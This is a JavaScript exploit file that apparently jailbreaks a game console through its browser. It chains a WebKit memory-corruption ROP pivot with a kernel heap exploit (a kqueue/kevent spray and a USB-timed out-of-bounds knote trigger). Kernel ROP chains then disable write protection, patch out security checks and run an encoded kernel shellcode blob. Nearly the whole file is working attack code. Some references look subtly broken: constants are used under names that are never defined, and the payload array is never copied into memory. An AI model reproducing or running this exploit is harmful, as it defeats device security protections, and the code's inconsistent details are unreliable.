kexploit.js

const KEX_FAIL_MSG = "Failed to trigger the kernel exploit!!!.\nThis could have occurred as a result of you plugging in the USB device too late, too early, or not at all.\nIf you did plug it in, then the kernel heap is slightly corrupted, which might cause a kernel panic later on.\nClosing this message will cause your browser to crash.";
const OOB_TRIGGER_GUIDE = "Please Insert a USB device.\nDO NOT! close this dialog until a notification pops up.\nRemove the USB device after closing the dialog.";
const TLSSIZE_ERR = ", tlssize is not zero.\nThis typically indicates that this module contains a TLSPHDR containing real data.\nIf you must use one of these, you can hardcode the image to the base offset here.";
// Prepare element that will contain debug text
privDebugElement = document.createElement("p");
privDebugElement.setAttribute("id", "infc");
// Custom function that prints the formatted string onto the page
function printf(...args) {
    let finalStr = "<span>[" + new Date().toLocaleTimeString().substring(0, 8) + "] ";
    finalStr += args.map((arg) => typeof arg === "object" ? JSON.stringify(arg) : arg.toString()).join(" ");
    finalStr += "</span><br>";
    privDebugElement.innerHTML += finalStr;
}

var chain;
var kchain;
var kchain2;
var SAVED_KERNEL_STACK_PTR;
var KERNEL_BASE_PTR;

var webKitBase;
var webKitRequirementBase;

var libSceLibcInternalBase;
var libKernelBase;

var textArea = document.createElement("textarea");

const WK_VTABLE_FIRST_ELEMENT_OFFSET = 0x104f110;
const WK_MEMSET_IMPORT_OFFSET = 0x000002a8;
const WK_STACK_CHK_FAIL_IMPORT_OFFSET = 0x00000178;
const WK_PSL_BUILTIN_IMPORT_OFFSET = 0xd68;

const WKR_PSL_BUILTIN_OFFSET = 0x33ba0;

const WK_SETJMP_GADGET_ONE_OFFSET = 0x0106acf7;
const WK_SETJMP_GADGET_TWO_OFFSET = 0x01ece1d3;
const WK_LONGJMP_GADGET_ONE_OFFSET = 0x0106acf7;
const WK_LONGJMP_GADGET_TWO_OFFSET = 0x01ece1d3;

const LIBCINT_MEMSET_OFFSET = 0x0004f810;
const LIBCINT_SETJMP_OFFSET = 0x000bb5bc;
const LIBCINT_LONGJMP_OFFSET = 0x000bb616;

const WK2_TLS_IMAGE_OFFSET = 0x38e8020;

const LK_STACK_CHK_FAIL_OFFSET = 0x0001ff60;
const LK_PTHREAD_CREATE_OFFSET = 0x00025510;
const LK_PTHREAD_JOIN_OFFSET = 0x0000afa0;

var nogc = [];
var syscalls = {};
var gadgets = {};
var wk_gadgetmap = {
    ret: 0x32, // return instruction
    "pop rdi": 0x319690,// pop value from stack into rdi
    "pop rsi": 0x1f4d6,// pop value from stack into rsi
    "pop rdx": 0x986c,// pop value from stack into rdx
    "pop rcx": 0x657b7,// pop value from stack into rcx
    "pop r8": 0xafaa71,// pop value from stack into r8
    "pop r9": 0x422571,// pop value from stack into r9
    "pop rax": 0x51a12,// pop value from stack into rax
    "pop rsp": 0x4e293,// pop value from stack into rsp
    "mov [rdi], rsi": 0x1a97920,// move rsi into memory pointed to by rdi
    "mov [rdi], rax": 0x10788f7,// move rax into memory pointed to by rdi
    "mov [rdi], eax": 0x9964bc,// move lower 32-bits of rax into memory pointed to by rdi
    "cli ; pop rax": 0x566f8,// clear interrupt flag and pop value from stack into rax
    sti: 0x1fbbcc,// set interrupt flag
    "mov rax, [rax]": 0x241cc,// move value at memory pointed to by rax into rax
    "mov rax, [rsi]": 0x5106a0,// move value at memory pointed to by rsi into rax
    "mov [rax], rsi": 0x1efd890,// move rsi into memory pointed to by rax
    "mov [rax], rdx": 0x1426a82,// move rdx into memory pointed to by rax
    "mov [rax], edx": 0x3b7fe4,// move lower 32-bits of rdx into memory pointed to by rax
    "add rax, rsi": 0x170397e,// add rsi to rax
    "mov rdx, rax": 0x53f501,// move rax into rdx
    "add rax, rcx": 0x2fbcd,// add rcx to rax
    "mov rsp, rdi": 0x2048062,// move rdi into rsp
    "mov rdi, [rax + 8] ; call [rax]": 0x751ee7,// move value at memory pointed to by rax + 8 into rdi and call value at memory pointed to by rax
    infloop: 0x7dff,// infinite loop instruction
    "mov [rax], cl": 0xc6eaf,// move lower 8-bits of rcx into memory pointed to by rax
};

var wkr_gadgetmap = {
    "xchg rdi, rsp ; call [rsi - 0x79]": 0x1d74f0, //JOP 3
};

var wk2_gadgetmap = {
    "mov [rax], rdi": 0xffdd7,
    "mov [rax], rcx": 0x2c9eca,
    "mov [rax], cx": 0x15a7d52,
};
var hmd_gadgetmap = { "add [r8], r12": 0x2bce1 };
var ipmi_gadgetmap = { "mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]": 0x344b };

function userland() {
    //RW -> ROP method is strongly based off of:
    //https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit

    p.launch_chain = launch_chain;
    p.malloc = malloc;
    p.malloc32 = malloc32;
    p.stringify = stringify;
    p.array_from_address = array_from_address;
    p.readstr = readstr;

    //pointer to vtable address
    var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
    //address of vtable
    var textAreaVtable = p.read8(textAreaVtPtr);
    //use address of 1st entry (in .text) to calculate webkitbase
    webKitBase = p.read8(textAreaVtable).sub32(WK_VTABLE_FIRST_ELEMENT_OFFSET);

    libSceLibcInternalBase = p.read8(
        get_jmptgt(webKitBase.add32(WK_MEMSET_IMPORT_OFFSET))
    );
    libSceLibcInternalBase.sub32inplace(OFFSET_libcint_memset);

    libKernelBase = p.read8(
        get_jmptgt(webKitBase.add32(WK_STACK_CHK_FAIL_IMPORT_OFFSET))
    );
    libKernelBase.sub32inplace(OFFSET_lk___stack_chk_fail);

    webKitRequirementBase = p.read8(
        get_jmptgt(webKitBase.add32(WK_PSL_BUILTIN_IMPORT_OFFSET))
    );
    webKitRequirementBase.sub32inplace(WKR_PSL_BUILTIN_OFFSET);

    // All gadgets in the webkit ropchain
    for (var gadget in wk_gadgetmap) {
        window.gadgets[gadget] = webKitBase.add32(wk_gadgetmap[gadget]);
    }
    // All gadgets in the webkitrequirement ropchain
    for (var gadget in wkr_gadgetmap) {
        window.gadgets[gadget] = webKitRequirementBase.add32(wkr_gadgetmap[gadget]);
    }

    function get_jmptgt(address) {
        var instruction = p.read4(address) & 0xffff;
        var offset = p.read4(address.add32(2));
        if (instruction != 0x25ff) {
            return 0;
        }
        return address.add32(0x6 + offset);
    }

    function malloc(sz) {
        var backing = new Uint8Array(0x10000 + sz);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = backing;
        return ptr;
    }

    function malloc32(sz) {
        var backing = new Uint8Array(0x10000 + sz * 4);
        window.nogc.push(backing);
        var ptr = p.read8(p.leakval(backing).add32(0x10));
        ptr.backing = new Uint32Array(backing.buffer);
        return ptr;
    }

    function array_from_address(addr, size) {
        var og_array = new Uint32Array(4096); //0x1000
        var og_array_i = p.leakval(og_array).add32(0x10);

        p.write8(og_array_i, addr);
        p.write4(og_array_i.add32(0x8), size);
        p.write4(og_array_i.add32(0xc), 0x1);

        nogc.push(og_array);
        return og_array;
    }

    function stringify(str) {
        var bufView = new Uint8Array(str.length + 1);
        for (var i = 0; i < str.length; i++) {
            bufView[i] = str.charCodeAt(i) & 0xff;
        }
        window.nogc.push(bufView);
        return p.read8(p.leakval(bufView).add32(0x10));
    }

    function readstr(addr) {
        var str = "";
        var readData;
        for (var i = 0; ; i++) {
            readData = p.read1(addr.add32(i));
            if (readData == 0x0) break;
            str += String.fromCharCode(readData);
        }
        return str;
    }

    var fakeVtable_setjmp = p.malloc32(0x200);
    var fakeVtable_longjmp = p.malloc32(0x200);
    var original_context = p.malloc32(0x40);
    var modified_context = p.malloc32(0x40);

    p.write8(fakeVtable_setjmp.add32(0x0), fakeVtable_setjmp);

    // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
    p.write8(
        fakeVtable_setjmp.add32(0xa8),
        webKitBase.add32(WK_SETJMP_GADGET_TWO_OFFSET)
    );

    p.write8(fakeVtable_setjmp.add32(0x10), original_context);
    p.write8(
        fakeVtable_setjmp.add32(0x8),
        libSceLibcInternalBase.add32(OFFSET_libcint_setjmp)
    );

    // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
    p.write8(
        fakeVtable_setjmp.add32(0x1c8),
        webKitBase.add32(WK_SETJMP_GADGET_ONE_OFFSET)
    );
    p.write8(fakeVtable_longjmp.add32(0x0), fakeVtable_longjmp);

    // mov rdi, qword ptr [rdi + 0x10] ; jmp qword ptr [rax + 8]
    p.write8(
        fakeVtable_longjmp.add32(0xa8),
        webKitBase.add32(OFFSET_WK_longjmp_gadget_two)
    );

    p.write8(fakeVtable_longjmp.add32(0x10), modified_context);
    p.write8(
        fakeVtable_longjmp.add32(0x8),
        libSceLibcInternalBase.add32(OFFSET_libcint_longjmp)
    );

    // mov rax, qword ptr [rcx]; mov rdi, rcx; jmp qword ptr [rax + 0xA8]
    p.write8(
        fakeVtable_longjmp.add32(0x1c8),
        webKitBase.add32(OFFSET_WK_longjmp_gadget_one)
    );

    function launch_chain(chain) {
        printf("launching ropchain...");
        chain.push(window.gadgets["pop rdi"]);
        chain.push(original_context);
        chain.push(libSceLibcInternalBase.add32(OFFSET_libcint_longjmp));

        p.write8(textAreaVtPtr, fakeVtable_setjmp);
        textArea.scrollLeft = 0x0;
        p.write8(modified_context.add32(0x00), window.gadgets["ret"]);
        p.write8(modified_context.add32(0x10), chain.stack);
        p.write8(
            modified_context.add32(0x40),
            p.read8(original_context.add32(0x40))
        );

        p.write8(textAreaVtPtr, fakeVtable_longjmp);
        textArea.scrollLeft = 0x0;
        p.write8(textAreaVtPtr, textAreaVtable);
        printf("launched!");
    }
    // Create a Uint8Array of size 0x1000
    var kview = new Uint8Array(0x1000);
    // Leak the address of the kview array and add an offset of 0x10 to get a pointer to the buffer
    var kstr = p.leakval(kview).add32(0x10);
    // Read the original value of the buffer for later restoration
    var orig_kview_buf = p.read8(kstr);
    // Overwrite the buffer with the address of the libKernelBase object
    p.write8(kstr, window.libKernelBase);
    // Write the value 0x40000 to the 8th byte of the buffer (offset 8 from the start of the buffer)
    p.write4(kstr.add32(8), 0x40000);

    var countbytes;

    // Iterate over the first 0x40000 bytes of the kernel memory buffer
    for (let i = 0; i < 0x40000; i++) {
        // Check if the current sequence of bytes matches the ASCII string "rdloc"
        if (kview[i + 0] == 0x72 && kview[i + 1] == 0x64 && kview[i + 2] == 0x6c &&
            kview[i + 3] == 0x6f && kview[i + 4] == 0x63) {
            // If the string is found, set the "countbytes" variable to the current index
            countbytes = i;
            break;
        }
    }

    // Write the value (countbytes + 32) to the 8th byte of the buffer
    // This value is used later in the code to control the number of bytes to search
    p.write4(kstr.add32(8), countbytes + 32);

    // Create a Uint32Array and a Uint8Array
    var dview32 = new Uint32Array(1);
    var dview8 = new Uint8Array(dview32.buffer);

    // Iterate over the specified number of bytes
    for (let i = 0; i < countbytes; i++) {
        // Check if the current sequence of bytes matches the specific sequence of instructions
        if (kview[i + 0] == 0x48 && kview[i + 1] == 0xc7 && kview[i + 2] == 0xc0 &&
            kview[i + 7] == 0x49 && kview[i + 8] == 0x89 && kview[i + 9] == 0xca &&
            kview[i + 10] == 0x0f && kview[i + 11] == 0x05) {
            // Extract the 32-bit value following the third byte in the sequence
            dview8[0] = kview[i + 3];
            dview8[1] = kview[i + 4];
            dview8[2] = kview[i + 5];
            dview8[3] = kview[i + 6];
            var syscallno = dview32[0];
            // Store the index of the matched sequence as a property of the "syscalls" object
            window.syscalls[syscallno] = window.libKernelBase.add32(i);
        }
    }

    // Restore the original value of the "kview" buffer by writing the original buffer content back to kernel memory
    p.write8(kstr, orig_kview_buf);

    chain = new rop();

    // Sanity check
    printf("Running Sanity Check");
    if (chain.syscall(20).low == 0) {
        alert('WebKit exploit failed. Press "OK" to try again.');
        location.reload();
    }
}

function run_hax() {
    userland();
    if (chain.syscall(23, 0).low != 0x0) {
        printf("Running kernel exploit...");
        kernel();
    }

    try {
        runPayloads();
    } catch (error) {
        alert(error);
        printf("Jailbreak failed (press circle button to return)");
    }
}

function kernel() {
    extra_gadgets();
    kchain_setup();
    object_setup();
    trigger_spray();
    patch_once();
}

var handle;
var random_path;
var ex_info;

function load_prx(name) {
    printf("Loading " + name + " module");
    //sys_dynlib_load_prx
    var res = chain.syscall(594, p.stringify(`/${random_path}/common/lib/${name}`), 0x0, handle, 0x0);
    if (res.low != 0x0) {
        printf("failed to load prx/get handle " + name);
    }
    //sys_dynlib_get_info_ex
    p.write8(ex_info, 0x1a8);
    res = chain.syscall(608, p.read4(handle), 0x0, ex_info);
    if (res.low != 0x0) {
        printf("failed to get module info from handle");
    }
    var tlsinit = p.read8(ex_info.add32(0x110));
    var tlssize = p.read4(ex_info.add32(0x11c));

    if (tlssize != 0) {
        if (name == "libSceWebKit2.sprx") {
            tlsinit.sub32inplace(OFFSET_WK2_TLS_IMAGE);
        } else {
            alert(name + TLSSIZE_ERR);
        }
    }
    return tlsinit;
}

//Obtain extra gadgets through module loading
function extra_gadgets() {
    handle = p.malloc(0x1e8);
    var randomized_path_length_ptr = handle.add32(0x4);
    var randomized_path_ptr = handle.add32(0x14);
    ex_info = randomized_path_ptr.add32(0x40);

    p.write8(randomized_path_length_ptr, 0x2c);
    chain.syscall(602, 0, randomized_path_ptr, randomized_path_length_ptr);
    random_path = p.readstr(randomized_path_ptr);

    var ipmi_addr = load_prx("libSceIpmi.sprx");
    var hmd_addr = load_prx("libSceHmd.sprx");
    var wk2_addr = load_prx("libSceWebKit2.sprx");

    for (var gadget in hmd_gadgetmap) {
        window.gadgets[gadget] = hmd_addr.add32(hmd_gadgetmap[gadget]);
    }
    for (var gadget in wk2_gadgetmap) {
        window.gadgets[gadget] = wk2_addr.add32(wk2_gadgetmap[gadget]);
    }
    for (var gadget in ipmi_gadgetmap) {
        window.gadgets[gadget] = ipmi_addr.add32(ipmi_gadgetmap[gadget]);
    }

    for (var gadget in window.gadgets) {
        p.read8(window.gadgets[gadget]);
        //Ensure all gadgets are available to kernel.
        chain.fcall(window.syscalls[203], window.gadgets[gadget], 0x10, 0x0);
    }
    chain.run();
}

//Build the kernel rop chain, this is what the kernel will be executing when the fake obj pivots the stack.
function kchain_setup() {
    printf("Building Kernel Rop Chain");
    const KERNEL_busy = 0x1b28df8;

    const KERNEL_bcopy = 0xacd;
    const KERNEL_bzero = 0x2713fd;
    const KERNEL_pagezero = 0x271441;
    const KERNEL_memcpy = 0x2714bd;
    const KERNEL_pagecopy = 0x271501;
    const KERNEL_copyin = 0x2716ad;
    const KERNEL_copyinstr = 0x271b5d;
    const KERNEL_copystr = 0x271c2d;
    const KERNEL_setidt = 0x312c40;
    const KERNEL_setcr0 = 0x1fb949;
    const KERNEL_Xill = 0x17d500;
    const KERNEL_veriPatch = 0x626874;
    const KERNEL_enable_syscalls_1 = 0x490;
    const KERNEL_enable_syscalls_2 = 0x4b5;
    const KERNEL_enable_syscalls_3 = 0x4b9;
    const KERNEL_enable_syscalls_4 = 0x4c2;
    const KERNEL_mprotect = 0x80b8d;
    const KERNEL_prx = 0x23aec4;
    const KERNEL_dlsym_1 = 0x23b67f;
    const KERNEL_dlsym_2 = 0x221b40;
    const KERNEL_setuid = 0x1a06;
    const KERNEL_syscall11_1 = 0x1100520;
    const KERNEL_syscall11_2 = 0x1100528;
    const KERNEL_syscall11_3 = 0x110054c;
    const KERNEL_syscall11_gadget = 0x4c7ad;
    const KERNEL_mmap_1 = 0x16632a;
    const KERNEL_mmap_2 = 0x16632d;
    const KERNEL_setcr0_patch = 0x3ade3b;
    const KERNEL_kqueue_close_epi = 0x398991;

    SAVED_KERNEL_STACK_PTR = p.malloc(0x200);
    KERNEL_BASE_PTR = SAVED_KERNEL_STACK_PTR.add32(0x8);
    //negative offset of kqueue string to kernel base
    //0xFFFFFFFFFF86B593 0x505
    //0xFFFFFFFFFF80E364 0x900
    p.write8(KERNEL_BASE_PTR, new int64(0xff80e364, 0xffffffff));

    kchain = new rop();
    kchain2 = new rop();
    //Ensure the krop stack remains available.
    {
        chain.fcall(window.syscalls[203], kchain.stackback, 0x40000, 0x0);
        chain.fcall(window.syscalls[203], kchain2.stackback, 0x40000, 0x0);
        chain.fcall(window.syscalls[203], SAVED_KERNEL_STACK_PTR, 0x10, 0x0);
    }
    chain.run();

    kchain.count = 0;
    kchain2.count = 0;

    kchain.set_kernel_var(KERNEL_BASE_PTR);
    kchain2.set_kernel_var(KERNEL_BASE_PTR);

    kchain.push(gadgets["pop rax"]);
    kchain.push(SAVED_KERNEL_STACK_PTR);
    kchain.push(gadgets["mov [rax], rdi"]);
    kchain.push(gadgets["pop r8"]);
    kchain.push(KERNEL_BASE_PTR);
    kchain.push(gadgets["add [r8], r12"]);

    //Sorry we're closed
    kchain.kwrite1(KERNEL_busy, 0x1);
    kchain.push(gadgets["sti"]); //it should be safe to re-enable interrupts now.

    var idx1 = kchain.write_kernel_addr_to_chain_later(KERNEL_setidt);
    var idx2 = kchain.write_kernel_addr_to_chain_later(KERNEL_setcr0);
    //Modify UD
    kchain.push(gadgets["pop rdi"]);
    kchain.push(0x6);
    kchain.push(gadgets["pop rsi"]);
    kchain.push(gadgets["mov rsp, rdi"]);
    kchain.push(gadgets["pop rdx"]);
    kchain.push(0xe);
    kchain.push(gadgets["pop rcx"]);
    kchain.push(0x0);
    kchain.push(gadgets["pop r8"]);
    kchain.push(0x0);
    var idx1_dest = kchain.get_rsp();
    kchain.pushSymbolic(); // overwritten with KERNEL_setidt

    kchain.push(gadgets["pop rsi"]);
    kchain.push(0x80040033);
    kchain.push(gadgets["pop rdi"]);
    kchain.push(kchain2.stack);
    var idx2_dest = kchain.get_rsp();
    kchain.pushSymbolic(); // overwritten with KERNEL_setcr0

    kchain.finalizeSymbolic(idx1, idx1_dest);
    kchain.finalizeSymbolic(idx2, idx2_dest);

    //Initial patch(es)
    kchain2.kwrite2(KERNEL_veriPatch, 0x9090);
    kchain2.kwrite1(KERNEL_bcopy, 0xeb);
    //might as well do the others
    kchain2.kwrite1(KERNEL_bzero, 0xeb);
    kchain2.kwrite1(KERNEL_pagezero, 0xeb);
    kchain2.kwrite1(KERNEL_memcpy, 0xeb);
    kchain2.kwrite1(KERNEL_pagecopy, 0xeb);
    kchain2.kwrite1(KERNEL_copyin, 0xeb);
    kchain2.kwrite1(KERNEL_copyinstr, 0xeb);
    kchain2.kwrite1(KERNEL_copystr, 0xeb);

    //I guess you're not all that bad...
    kchain2.kwrite1(KERNEL_busy, 0x0); //it should now be safe to handle timer-y interrupts again

    //Restore original UD
    var idx3 = kchain2.write_kernel_addr_to_chain_later(KERNEL_Xill);
    var idx4 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setidt);
    kchain2.push(gadgets["pop rdi"]);
    kchain2.push(0x6);
    kchain2.push(gadgets["pop rsi"]);
    var idx3_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_Xill
    kchain2.push(gadgets["pop rdx"]);
    kchain2.push(0xe);
    kchain2.push(gadgets["pop rcx"]);
    kchain2.push(0x0);
    kchain2.push(gadgets["pop r8"]);
    kchain2.push(0x0);
    var idx4_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_setidt

    kchain2.finalizeSymbolic(idx3, idx3_dest);
    kchain2.finalizeSymbolic(idx4, idx4_dest);

    //Apply kernel patches
    kchain2.kwrite4(KERNEL_enable_syscalls_1, 0x00000000);
    //patch in reverse because /shrug
    kchain2.kwrite1(KERNEL_enable_syscalls_4, 0xeb);
    kchain2.kwrite2(KERNEL_enable_syscalls_3, 0x9090);
    kchain2.kwrite2(KERNEL_enable_syscalls_2, 0x9090);

    kchain2.kwrite1(KERNEL_setuid, 0xeb);
    kchain2.kwrite4(KERNEL_mprotect, 0x00000000);
    kchain2.kwrite2(KERNEL_prx, 0xe990);
    kchain2.kwrite1(KERNEL_dlsym_1, 0xeb);
    kchain2.kwrite4(KERNEL_dlsym_2, 0xc3c03148);

    kchain2.kwrite1(KERNEL_mmap_1, 0x37);
    kchain2.kwrite1(KERNEL_mmap_2, 0x37);

    kchain2.kwrite4(KERNEL_syscall11_1, 0x00000002);
    kchain2.kwrite8_kaddr(KERNEL_syscall11_2, KERNEL_syscall11_gadget);
    kchain2.kwrite4(KERNEL_syscall11_3, 0x00000001);

    //Restore CR0
    kchain2.kwrite4(KERNEL_setcr0_patch, 0xc3c7220f);
    var idx5 = kchain2.write_kernel_addr_to_chain_later(KERNEL_setcr0_patch);
    kchain2.push(gadgets["pop rdi"]);
    kchain2.push(0x80050033);
    var idx5_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with KERNEL_setcr0_patch
    kchain2.finalizeSymbolic(idx5, idx5_dest);

    //Recover
    kchain2.rax_kernel(KERNEL_kqueue_close_epi);
    kchain2.push(gadgets["mov rdx, rax"]);
    kchain2.push(gadgets["pop rsi"]);
    kchain2.push(SAVED_KERNEL_STACK_PTR);
    kchain2.push(gadgets["mov rax, [rsi]"]);
    kchain2.push(gadgets["pop rcx"]);
    kchain2.push(0x10);
    kchain2.push(gadgets["add rax, rcx"]);
    kchain2.push(gadgets["mov [rax], rdx"]);
    kchain2.push(gadgets["pop rdi"]);
    var idx6 = kchain2.pushSymbolic();
    kchain2.push(gadgets["mov [rdi], rax"]);
    kchain2.push(gadgets["sti"]);
    kchain2.push(gadgets["pop rsp"]);
    var idx6_dest = kchain2.get_rsp();
    kchain2.pushSymbolic(); // overwritten with old stack pointer
    kchain2.finalizeSymbolic(idx6, idx6_dest);
}

function object_setup() {
    //Map fake object
    var fake_knote = chain.syscall(
        477,
        0x4000,
        0x4000 * 0x3,
        0x3,
        0x1010,
        0xffffffff,
        0x0
    );
    var fake_filtops = fake_knote.add32(0x4000);
    var fake_obj = fake_knote.add32(0x8000);
    if (fake_knote.low != 0x4000) {
        alert("enomem: " + fake_knote);
        while (1);
    }
    //setup fake object
    printf("Setting up Fake Object");
    //KNOTE
    {
        p.write8(fake_knote, fake_obj);
        p.write8(fake_knote.add32(0x68), fake_filtops);
    }
    //FILTOPS
    {
        p.write8(fake_filtops.sub32(0x79), gadgets["cli ; pop rax"]); //cli ; pop rax ; ret
        p.write8(
            fake_filtops.add32(0x0),
            gadgets["xchg rdi, rsp ; call [rsi - 0x79]"]
        ); //xchg rdi, rsp ; call qword ptr [rsi - 0x79]
        p.write8(fake_filtops.add32(0x8), kchain.stack);
        p.write8(
            fake_filtops.add32(0x10),
            gadgets["mov rcx, [rdi] ; mov rsi, rax ; call [rcx + 0x30]"]
        ); //mov rcx, qword ptr [rdi] ; mov rsi, rax ; call qword ptr [rcx + 0x30]
    }
    //OBJ
    {
        p.write8(fake_obj.add32(0x30), gadgets["mov rdi, [rax + 8] ; call [rax]"]); //mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
    }
    //Ensure the fake knote remains available
    chain.syscall(203, fake_knote, 0xc000, 0x0);
}

var trigger_spray = function () {
    var NUM_KQUEUES = 0x1b0;
    var kqueue_ptr = p.malloc(NUM_KQUEUES * 0x4);
    printf("Making kqueues");
    //Make kqueues
    {
        for (var i = 0; i < NUM_KQUEUES; i++) {
            chain.fcall(window.syscalls[362]);
            chain.write_result4(kqueue_ptr.add32(0x4 * i));
        }
    }
    chain.run();
    var kqueues = p.array_from_address(kqueue_ptr, NUM_KQUEUES);

    var that_one_socket = chain.syscall(97, 2, 1, 0);
    if (that_one_socket.low < 0x100 || that_one_socket.low >= 0x200) {
        alert("invalid socket");
        while (1);
    }

    //Spray kevents
    printf("Spraying kevents");
    var kevent = p.malloc(0x20);
    p.write8(kevent.add32(0x0), that_one_socket);
    p.write4(kevent.add32(0x8), 0xffff + 0x010000);
    p.write4(kevent.add32(0xc), 0x0);
    p.write8(kevent.add32(0x10), 0x0);
    p.write8(kevent.add32(0x18), 0x0);
    //
    {
        for (var i = 0; i < NUM_KQUEUES; i++) {
            chain.fcall(window.syscalls[363], kqueues[i], kevent, 0x1, 0x0, 0x0, 0x0);
        }
    }
    chain.run();
    printf("Fragmenting memory");
    //Fragment memory
    {
        for (var i = 18; i < NUM_KQUEUES; i += 2) {
            chain.fcall(window.syscalls[6], kqueues[i]);
        }
    }
    chain.run();

    //Trigger OOB
    alert(OOB_TRIGGER_GUIDE);
    printf("Triggering corrupt knote");
    //Trigger corrupt knote
    {
        for (var i = 1; i < NUM_KQUEUES; i += 2) {
            chain.fcall(window.syscalls[6], kqueues[i]);
        }
    }
    chain.run();

    if (chain.syscall(23, 0).low == 0) {
        {
            //cleanup fake knote & release locked gadgets/stack.
            chain.fcall(window.syscalls[73], 0x4000, 0xc000);
            chain.fcall(window.syscalls[325]);
        }
        chain.run();
        return;
    }
    alert(KEX_FAIL_MSG);
    p.write8(0, 0);
    return;
};

//This disables sysveri, see patch.s for more info
var patch_once = function () {
    var patch_buffer = chain.syscall(
        477,
        0x0,
        0x4000,
        0x7,
        0x1000,
        0xffffffff,
        0
    );
    var patch_buffer_view = p.array_from_address(patch_buffer, 0x1000);
    patch_buffer_view = [
        0x00000bb8, 0xfe894800, 0x033d8d48, 0x0f000000, 0x4855c305, 0x8b48e589,
        0x95e8087e, 0xe8000000, 0x00000175, 0x033615ff, 0x8b480000, 0x0003373d,
        0x3f8b4800, 0x74ff8548, 0x3d8d48eb, 0x0000029d, 0xf9358b48, 0x48000002,
        0x0322158b, 0x8b480000, 0x00d6e812, 0x8d480000, 0x00029f3d, 0x358b4800,
        0x000002e4, 0x05158b48, 0x48000003, 0xb9e8128b, 0x48000000, 0x02633d8d,
        0x8b480000, 0x0002bf35, 0x158b4800, 0x000002c8, 0xe8128b48, 0x0000009c,
        0x7a3d8d48, 0x48000002, 0x02aa358b, 0x8b480000, 0x0002ab15, 0x128b4800,
        0x00007fe8, 0x0185e800, 0xc35d0000, 0x6d3d8948, 0x48000002, 0x026e3d01,
        0x01480000, 0x00026f3d, 0x3d014800, 0x00000270, 0x713d0148, 0x48000002,
        0x02723d01, 0x01480000, 0x0002933d, 0x3d014800, 0x00000294, 0x653d0148,
        0x48000002, 0x02663d01, 0x01480000, 0x0002873d, 0x3d014800, 0x00000288,
        0x893d0148, 0x48000002, 0x028a3d01, 0x01480000, 0x00028b3d, 0x3d014800,
        0x0000024c, 0x3d3d0148, 0xc3000002, 0xe5894855, 0x10ec8348, 0x24348948,
        0x24548948, 0xed15ff08, 0x48000001, 0x4b74c085, 0x48c28948, 0x4840408b,
        0x2f74c085, 0x28788b48, 0x243c3b48, 0x8b480a74, 0xc0854800, 0xeceb1d74,
        0x18788b48, 0x74ff8548, 0x7f8b48ed, 0x7c3b4810, 0xe2750824, 0xff1040c7,
        0x48ffffff, 0x31107a8d, 0x31d231f6, 0xa515ffc9, 0x48000001, 0x5d10c483,
        0x894855c3, 0xc0200fe5, 0xffff2548, 0x220ffffe, 0x3d8b48c0, 0x000001c8,
        0x909007c7, 0x47c79090, 0x48909004, 0x358b48b8, 0x000001ac, 0x08778948,
        0x651047c7, 0xc73c8b48, 0x00251447, 0x47c70000, 0x89480018, 0x1c47c738,
        0xb8489090, 0x7d358b48, 0x48000001, 0xc7207789, 0xc7482847, 0x47c70100,
        0x0000002c, 0x778d48e9, 0x158b4834, 0x00000150, 0x89f22948, 0x8b483057,
        0x00016b35, 0x568d4800, 0xd7294805, 0xc148ff89, 0x814808e7, 0x0000e9cf,
        0x3e894800, 0x00000d48, 0x220f0001, 0x55c35dc0, 0x0fe58948, 0x2548c020,
        0xfffeffff, 0x48c0220f, 0x013a3d8b, 0x07c70000, 0x00c3c031, 0x353d8b48,
        0xc7000001, 0xc3c03107, 0x3d8b4800, 0x00000130, 0xc03107c7, 0x8b4800c3,
        0x00012b3d, 0x3107c700, 0x4800c3c0, 0x00a63d8b, 0x87c70000, 0x001f1e01,
        0x9090f631, 0x1e0587c7, 0xc931001f, 0x87c79090, 0x001f1e09, 0x9090d231,
        0x1e3e87c7, 0xc931001f, 0x0d489090, 0x00010000, 0xffc0220f, 0x0000ef15,
        0xc0200f00, 0xffff2548, 0x220ffffe, 0x3d8b48c0, 0x000000dc, 0xc03107c7,
        0x0d4800c3, 0x00010000, 0x5dc0220f, 0x737973c3, 0x5f6d6574, 0x70737573,
        0x5f646e65, 0x73616870, 0x705f3265, 0x735f6572, 0x00636e79, 0x74737973,
        0x725f6d65, 0x6d757365, 0x68705f65, 0x32657361, 0x73797300, 0x5f6d6574,
        0x75736572, 0x705f656d, 0x65736168, 0x90900033, 0x00000000, 0x00000000,
        0x000f88f0, 0x00000000, 0x002ef170, 0x00000000, 0x00018df0, 0x00000000,
        0x00018ef0, 0x00000000, 0x02654110, 0x00000000, 0x00097230, 0x00000000,
        0x00402e60, 0x00000000, 0x01520108, 0x00000000, 0x01520100, 0x00000000,
        0x00462d20, 0x00000000, 0x00462dfc, 0x00000000, 0x006259a0, 0x00000000,
        0x006268d0, 0x00000000, 0x00625dc0, 0x00000000, 0x00626290, 0x00000000,
        0x00626720, 0x00000000,
    ];
    //lock payload / call payload / release payload
    {
        chain.fcall(window.syscalls[203], patch_buffer, 0x4000, 0x0);
        chain.fcall(patch_buffer, p.read8(KERNEL_BASE_PTR));
        chain.fcall(window.syscalls[73], patch_buffer, 0x4000);
    }
    chain.run();
};